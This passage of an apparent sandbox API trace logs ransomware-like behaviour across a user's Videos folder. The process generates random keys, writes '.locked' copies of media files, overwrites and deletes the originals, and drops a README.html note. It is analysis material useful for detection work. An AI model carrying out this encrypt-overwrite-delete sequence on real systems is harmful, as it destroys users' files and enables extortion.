	[0080.723] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8ff0 | out: pbBuffer=0x127a8ff0) returned 1
	[0080.723] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416301 | out: pbBuffer=0x12416301) returned 1
	[0080.723] WriteFile (in: hFile=0xc4, lpBuffer=0x1279d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1279d000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.725] SetEvent (hEvent=0x80) returned 1
	[0080.725] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xeb57, lpOverlapped=0x0) returned 1
	[0080.727] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xeb57, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xeb57, lpOverlapped=0x0) returned 1
	[0080.728] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.728] CloseHandle (hObject=0xc4) returned 1
	[0080.728] CloseHandle (hObject=0xc0) returned 1
	[0080.728] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.729] SetEvent (hEvent=0x80) returned 1
	[0080.729] SetEvent (hEvent=0x8c) returned 1
	[0080.729] SetEvent (hEvent=0x78) returned 1
	[0080.729] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.729] SetEvent (hEvent=0xa8) returned 1
	[0080.729] SetEvent (hEvent=0x78) returned 1
	[0080.729] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x51, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee83c*=0x51) returned 1
	[0080.731] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4")) returned 1
	[0080.748] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.748] SetEvent (hEvent=0xa8) returned 1
	[0080.748] SetEvent (hEvent=0x8c) returned 1
	[0080.753] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.753] SetEvent (hEvent=0x8c) returned 1
	[0080.753] SetEvent (hEvent=0x78) returned 1
	[0080.753] SetEvent (hEvent=0x80) returned 1
	[0080.753] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.753] SetEvent (hEvent=0x80) returned 1
	[0080.755] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.755] SetEvent (hEvent=0x80) returned 1
	[0080.756] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.756] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.756] SetEvent (hEvent=0x80) returned 1
	[0080.756] SetEvent (hEvent=0x78) returned 1
	[0080.756] SetEvent (hEvent=0x8c) returned 1
	[0080.756] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.756] SetEvent (hEvent=0x8c) returned 1
	[0080.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.757] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.757] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.773] CloseHandle (hObject=0xc0) returned 1
	[0080.774] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4")) returned 1
	[0080.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356be730, ftCreationTime.dwHighDateTime=0x1d4c71d, ftLastAccessTime.dwLowDateTime=0x6880bee0, ftLastAccessTime.dwHighDateTime=0x1d4c86f, ftLastWriteTime.dwLowDateTime=0x6880bee0, ftLastWriteTime.dwHighDateTime=0x1d4c86f, nFileSizeHigh=0x0, nFileSizeLow=0x657c)) returned 1
	[0080.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.777] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.777] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.777] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.777] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0080.777] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.777] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.779] SetEvent (hEvent=0x78) returned 1
	[0080.780] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x657c, lpOverlapped=0x0) returned 1
	[0080.781] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x657c, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x657c, lpOverlapped=0x0) returned 1
	[0080.782] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.782] CloseHandle (hObject=0xc4) returned 1
	[0080.782] CloseHandle (hObject=0xc0) returned 1
	[0080.782] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.783] SetEvent (hEvent=0x78) returned 1
	[0080.783] SetEvent (hEvent=0x8c) returned 1
	[0080.783] SetEvent (hEvent=0x80) returned 1
	[0080.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.783] SetEvent (hEvent=0xa8) returned 1
	[0080.783] SetEvent (hEvent=0x80) returned 1
	[0080.783] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0080.784] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf")) returned 1
	[0080.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.802] SetEvent (hEvent=0xa8) returned 1
	[0080.802] SetEvent (hEvent=0x8c) returned 1
	[0080.807] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.807] SetEvent (hEvent=0x8c) returned 1
	[0080.807] SetEvent (hEvent=0x80) returned 1
	[0080.807] SetEvent (hEvent=0x78) returned 1
	[0080.807] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.808] SetEvent (hEvent=0x78) returned 1
	[0080.809] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.809] SetEvent (hEvent=0x78) returned 1
	[0080.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.810] SetEvent (hEvent=0x78) returned 1
	[0080.810] SetEvent (hEvent=0x80) returned 1
	[0080.810] SetEvent (hEvent=0x8c) returned 1
	[0080.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.810] SetEvent (hEvent=0x8c) returned 1
	[0080.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.811] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.811] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.829] CloseHandle (hObject=0xc0) returned 1
	[0080.829] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\O8DuDIpf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\o8dudipf.swf")) returned 1
	[0080.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924b4e70, ftCreationTime.dwHighDateTime=0x1d4cf27, ftLastAccessTime.dwLowDateTime=0xda105120, ftLastAccessTime.dwHighDateTime=0x1d4ca94, ftLastWriteTime.dwLowDateTime=0xda105120, ftLastWriteTime.dwHighDateTime=0x1d4ca94, nFileSizeHigh=0x0, nFileSizeLow=0x92f7)) returned 1
	[0080.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.832] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.833] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.833] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.833] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0080.833] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.833] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.835] SetEvent (hEvent=0x80) returned 1
	[0080.835] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x92f7, lpOverlapped=0x0) returned 1
	[0080.837] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x92f7, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x92f7, lpOverlapped=0x0) returned 1
	[0080.838] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.838] CloseHandle (hObject=0xc4) returned 1
	[0080.839] CloseHandle (hObject=0xc0) returned 1
	[0080.839] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.839] SetEvent (hEvent=0x80) returned 1
	[0080.839] SetEvent (hEvent=0x8c) returned 1
	[0080.839] SetEvent (hEvent=0x78) returned 1
	[0080.839] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.840] SetEvent (hEvent=0x78) returned 1
	[0080.840] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee83c*=0x52) returned 1
	[0080.841] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf")) returned 1
	[0080.858] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.859] SetEvent (hEvent=0xa8) returned 1
	[0080.859] SetEvent (hEvent=0x8c) returned 1
	[0080.863] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.864] SetEvent (hEvent=0x8c) returned 1
	[0080.864] SetEvent (hEvent=0x78) returned 1
	[0080.864] SetEvent (hEvent=0x80) returned 1
	[0080.864] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.864] SetEvent (hEvent=0x80) returned 1
	[0080.866] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.866] SetEvent (hEvent=0x80) returned 1
	[0080.866] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.866] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.867] SetEvent (hEvent=0x80) returned 1
	[0080.867] SetEvent (hEvent=0x78) returned 1
	[0080.867] SetEvent (hEvent=0x8c) returned 1
	[0080.867] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.867] SetEvent (hEvent=0x8c) returned 1
	[0080.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.868] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.868] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.889] CloseHandle (hObject=0xc0) returned 1
	[0080.889] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\s4L9H2bituSU-qOHaGjN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\s4l9h2bitusu-qohagjn.swf")) returned 1
	[0080.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc57aba40, ftCreationTime.dwHighDateTime=0x1d4c5c9, ftLastAccessTime.dwLowDateTime=0xc32fff10, ftLastAccessTime.dwHighDateTime=0x1d4d0ce, ftLastWriteTime.dwLowDateTime=0xc32fff10, ftLastWriteTime.dwHighDateTime=0x1d4d0ce, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.893] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc57aba40, ftCreationTime.dwHighDateTime=0x1d4c5c9, ftLastAccessTime.dwLowDateTime=0xc32fff10, ftLastAccessTime.dwHighDateTime=0x1d4d0ce, ftLastWriteTime.dwLowDateTime=0xc32fff10, ftLastWriteTime.dwHighDateTime=0x1d4d0ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc57aba40, ftCreationTime.dwHighDateTime=0x1d4c5c9, ftLastAccessTime.dwLowDateTime=0xc32fff10, ftLastAccessTime.dwHighDateTime=0x1d4d0ce, ftLastWriteTime.dwLowDateTime=0xc32fff10, ftLastWriteTime.dwHighDateTime=0x1d4d0ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7546cd90, ftCreationTime.dwHighDateTime=0x1d4cadb, ftLastAccessTime.dwLowDateTime=0x5e17c510, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x5e17c510, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x15bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdXl 0vS.mp4", cAlternateFileName="JDXL0V~1.MP4")) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b43800, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xa86cbb00, ftLastAccessTime.dwHighDateTime=0x1d4c7f5, ftLastWriteTime.dwLowDateTime=0xa86cbb00, ftLastWriteTime.dwHighDateTime=0x1d4c7f5, nFileSizeHigh=0x0, nFileSizeLow=0xc7d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="T0Kxm.mkv", cAlternateFileName="")) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x957144c0, ftCreationTime.dwHighDateTime=0x1d4ca80, ftLastAccessTime.dwLowDateTime=0xde44c2b0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xde44c2b0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tX6uC", cAlternateFileName="")) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10639e0, ftCreationTime.dwHighDateTime=0x1d4c6bf, ftLastAccessTime.dwLowDateTime=0x24106c80, ftLastAccessTime.dwHighDateTime=0x1d4cbf1, ftLastWriteTime.dwLowDateTime=0x24106c80, ftLastWriteTime.dwHighDateTime=0x1d4cbf1, nFileSizeHigh=0x0, nFileSizeLow=0xcb99, dwReserved0=0x0, dwReserved1=0x0, cFileName="wMQpY.swf", cAlternateFileName="")) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0080.893] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0080.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.898] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0080.899] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.900] CloseHandle (hObject=0xc0) returned 1
	[0080.900] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8b0*=0x48) returned 1
	[0080.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7546cd90, ftCreationTime.dwHighDateTime=0x1d4cadb, ftLastAccessTime.dwLowDateTime=0x5e17c510, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x5e17c510, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x15bfb)) returned 1
	[0080.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.901] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.901] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.902] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2a0 | out: pbBuffer=0x1238c2a0) returned 1
	[0080.902] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8290 | out: pbBuffer=0x127a8290) returned 1
	[0080.902] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0080.902] WriteFile (in: hFile=0xc4, lpBuffer=0x12799000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12799000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
